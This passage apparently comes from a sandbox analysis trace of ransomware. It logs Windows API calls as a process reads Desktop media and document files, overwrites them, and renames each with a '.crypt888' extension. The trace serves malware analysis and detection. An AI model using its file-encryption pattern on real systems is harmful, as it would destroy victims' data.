halpmcxz\\desktop\\18wh5g-qtjsbomktktpd.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\18WH5g-qtjsBOmKtKTPd.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\18wh5g-qtjsbomktktpd.mp4.crypt888")) returned 1 [0079.876] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi", lpFilePart=0x0) returned 0x32 [0079.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0079.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\av6il1io.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.876] GetFileType (hFile=0x174) returned 0x1 [0079.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0079.876] GetFileType (hFile=0x174) returned 0x1 [0079.876] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x3b3a [0079.876] ReadFile (in: hFile=0x174, lpBuffer=0x279cd5c, nNumberOfBytesToRead=0x3b3a, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x279cd5c*, lpNumberOfBytesRead=0x39ed58*=0x3b3a, lpOverlapped=0x0) returned 1 [0079.896] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi", lpFilePart=0x0) returned 0x32 [0079.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\av6il1io.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.898] GetFileType (hFile=0x174) returned 0x1 [0079.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0079.898] GetFileType (hFile=0x174) returned 0x1 [0079.898] WriteFile (in: hFile=0x174, lpBuffer=0x27fc364*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x27fc364*, lpNumberOfBytesWritten=0x39ed48*=0x3b40, lpOverlapped=0x0) returned 1 [0079.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi", lpFilePart=0x0) returned 0x32 [0079.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi.crypt888", lpFilePart=0x0) returned 0x3b [0079.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0079.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\av6il1io.avi"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x609021d0, ftCreationTime.dwHighDateTime=0x1d46091, ftLastAccessTime.dwLowDateTime=0x7fb1f6c0, ftLastAccessTime.dwHighDateTime=0x1d45f32, ftLastWriteTime.dwLowDateTime=0xc0d1cc20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x3b40)) returned 1 [0079.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0079.900] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\av6il1io.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\av6il1Io.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\av6il1io.avi.crypt888")) returned 1 [0079.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods", lpFilePart=0x0) returned 0x31 [0079.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0079.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bjlomsm.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.902] GetFileType (hFile=0x174) returned 0x1 [0079.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0079.902] GetFileType (hFile=0x174) returned 0x1 [0079.902] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x8157 [0079.902] ReadFile (in: hFile=0x174, lpBuffer=0x280022c, nNumberOfBytesToRead=0x8157, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x280022c*, lpNumberOfBytesRead=0x39ed58*=0x8157, lpOverlapped=0x0) returned 1 [0079.923] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods", lpFilePart=0x0) returned 0x31 [0079.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bjlomsm.ods"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.925] GetFileType (hFile=0x174) returned 0x1 [0079.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0079.925] GetFileType (hFile=0x174) returned 0x1 [0079.925] WriteFile (in: hFile=0x174, lpBuffer=0x28756d4*, nNumberOfBytesToWrite=0x8160, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x28756d4*, lpNumberOfBytesWritten=0x39ed48*=0x8160, lpOverlapped=0x0) returned 1 [0079.927] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods", lpFilePart=0x0) returned 0x31 [0079.927] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods.crypt888", lpFilePart=0x0) returned 0x3a [0079.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0079.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bjlomsm.ods"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaa8ae40, ftCreationTime.dwHighDateTime=0x1d45c21, ftLastAccessTime.dwLowDateTime=0x4cb27860, ftLastAccessTime.dwHighDateTime=0x1d45728, ftLastWriteTime.dwLowDateTime=0xc0d68ee0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x8160)) returned 1 [0079.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0079.928] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bjlomsm.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bJlOmSM.ods.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bjlomsm.ods.crypt888")) returned 1 [0079.929] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a", lpFilePart=0x0) returned 0x33 [0079.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0079.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-s ht wp.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.929] GetFileType (hFile=0x174) returned 0x1 [0079.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0079.929] GetFileType (hFile=0x174) returned 0x1 [0079.929] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x881a [0079.929] ReadFile (in: hFile=0x174, lpBuffer=0x287dc18, nNumberOfBytesToRead=0x881a, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x287dc18*, lpNumberOfBytesRead=0x39ed58*=0x881a, lpOverlapped=0x0) returned 1 [0079.953] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a", lpFilePart=0x0) returned 0x33 [0079.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-s ht wp.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.955] GetFileType (hFile=0x174) returned 0x1 [0079.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0079.955] GetFileType (hFile=0x174) returned 0x1 [0079.955] WriteFile (in: hFile=0x174, lpBuffer=0x2700774*, nNumberOfBytesToWrite=0x8820, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2700774*, lpNumberOfBytesWritten=0x39ed48*=0x8820, lpOverlapped=0x0) returned 1 [0079.957] CloseHandle (hObject=0x174) returned 1 [0079.961] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a", lpFilePart=0x0) returned 0x33 [0079.961] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a.crypt888", lpFilePart=0x0) returned 0x3c [0079.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0079.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-s ht wp.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6183c820, ftCreationTime.dwHighDateTime=0x1d46227, ftLastAccessTime.dwLowDateTime=0xd2ee28a0, ftLastAccessTime.dwHighDateTime=0x1d4651c, ftLastWriteTime.dwLowDateTime=0xc0db51a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x8820)) returned 1 [0079.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0079.961] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-s ht wp.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G-S hT Wp.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-s ht wp.m4a.crypt888")) returned 1 [0079.962] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png", lpFilePart=0x0) returned 0x3d [0079.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0079.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h9xmtwhm1n8rcqwnnzz.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.963] GetFileType (hFile=0x174) returned 0x1 [0079.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0079.963] GetFileType (hFile=0x174) returned 0x1 [0079.963] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x822d [0079.963] ReadFile (in: hFile=0x174, lpBuffer=0x2709354, nNumberOfBytesToRead=0x822d, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2709354*, lpNumberOfBytesRead=0x39ed58*=0x822d, lpOverlapped=0x0) returned 1 [0079.964] CloseHandle (hObject=0x174) returned 1 [0080.011] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png", lpFilePart=0x0) returned 0x3d [0080.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h9xmtwhm1n8rcqwnnzz.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.013] GetFileType (hFile=0x174) returned 0x1 [0080.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.013] GetFileType (hFile=0x174) returned 0x1 [0080.013] WriteFile (in: hFile=0x174, lpBuffer=0x277ed68*, nNumberOfBytesToWrite=0x8230, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x277ed68*, lpNumberOfBytesWritten=0x39ed48*=0x8230, lpOverlapped=0x0) returned 1 [0080.014] CloseHandle (hObject=0x174) returned 1 [0080.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png", lpFilePart=0x0) returned 0x3d [0080.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png.crypt888", lpFilePart=0x0) returned 0x46 [0080.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h9xmtwhm1n8rcqwnnzz.png"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad409940, ftCreationTime.dwHighDateTime=0x1d45b20, ftLastAccessTime.dwLowDateTime=0xa56a2330, ftLastAccessTime.dwHighDateTime=0x1d457c4, ftLastWriteTime.dwLowDateTime=0xc0e4d720, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x8230)) returned 1 [0080.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.017] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h9xmtwhm1n8rcqwnnzz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h9xmtWhM1N8RcQwnNZZ.png.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h9xmtwhm1n8rcqwnnzz.png.crypt888")) returned 1 [0080.018] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv", lpFilePart=0x0) returned 0x37 [0080.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mosdb sylf3nk.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.018] GetFileType (hFile=0x174) returned 0x1 [0080.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.018] GetFileType (hFile=0x174) returned 0x1 [0080.018] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x15eff [0080.019] ReadFile (in: hFile=0x174, lpBuffer=0x381c320, nNumberOfBytesToRead=0x15eff, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x381c320*, lpNumberOfBytesRead=0x39ed58*=0x15eff, lpOverlapped=0x0) returned 1 [0080.021] CloseHandle (hObject=0x174) returned 1 [0080.047] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv", lpFilePart=0x0) returned 0x37 [0080.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.047] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mosdb sylf3nk.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.050] GetFileType (hFile=0x174) returned 0x1 [0080.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.050] GetFileType (hFile=0x174) returned 0x1 [0080.050] WriteFile (in: hFile=0x174, lpBuffer=0x3889e60*, nNumberOfBytesToWrite=0x15f00, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x3889e60*, lpNumberOfBytesWritten=0x39ed48*=0x15f00, lpOverlapped=0x0) returned 1 [0080.052] CloseHandle (hObject=0x174) returned 1 [0080.055] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv", lpFilePart=0x0) returned 0x37 [0080.055] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv.crypt888", lpFilePart=0x0) returned 0x40 [0080.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mosdb sylf3nk.flv"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8acb6a0, ftCreationTime.dwHighDateTime=0x1d4659d, ftLastAccessTime.dwLowDateTime=0x8f964d30, ftLastAccessTime.dwHighDateTime=0x1d46553, ftLastWriteTime.dwLowDateTime=0xc0e999e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x15f00)) returned 1 [0080.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.055] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mosdb sylf3nk.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MOSdB SyLF3nk.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mosdb sylf3nk.flv.crypt888")) returned 1 [0080.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4", lpFilePart=0x0) returned 0x38 [0080.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rtxnw7aafwoe s.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.057] GetFileType (hFile=0x174) returned 0x1 [0080.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.057] GetFileType (hFile=0x174) returned 0x1 [0080.057] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xdf26 [0080.057] ReadFile (in: hFile=0x174, lpBuffer=0x27d45c0, nNumberOfBytesToRead=0xdf26, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27d45c0*, lpNumberOfBytesRead=0x39ed58*=0xdf26, lpOverlapped=0x0) returned 1 [0080.058] CloseHandle (hObject=0x174) returned 1 [0080.080] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4", lpFilePart=0x0) returned 0x38 [0080.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rtxnw7aafwoe s.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.083] GetFileType (hFile=0x174) returned 0x1 [0080.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.083] GetFileType (hFile=0x174) returned 0x1 [0080.083] WriteFile (in: hFile=0x174, lpBuffer=0x284b12c*, nNumberOfBytesToWrite=0xdf30, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x284b12c*, lpNumberOfBytesWritten=0x39ed48*=0xdf30, lpOverlapped=0x0) returned 1 [0080.084] CloseHandle (hObject=0x174) returned 1 [0080.086] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4", lpFilePart=0x0) returned 0x38 [0080.086] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RTxnW7aafWOE S.mp4.crypt888", 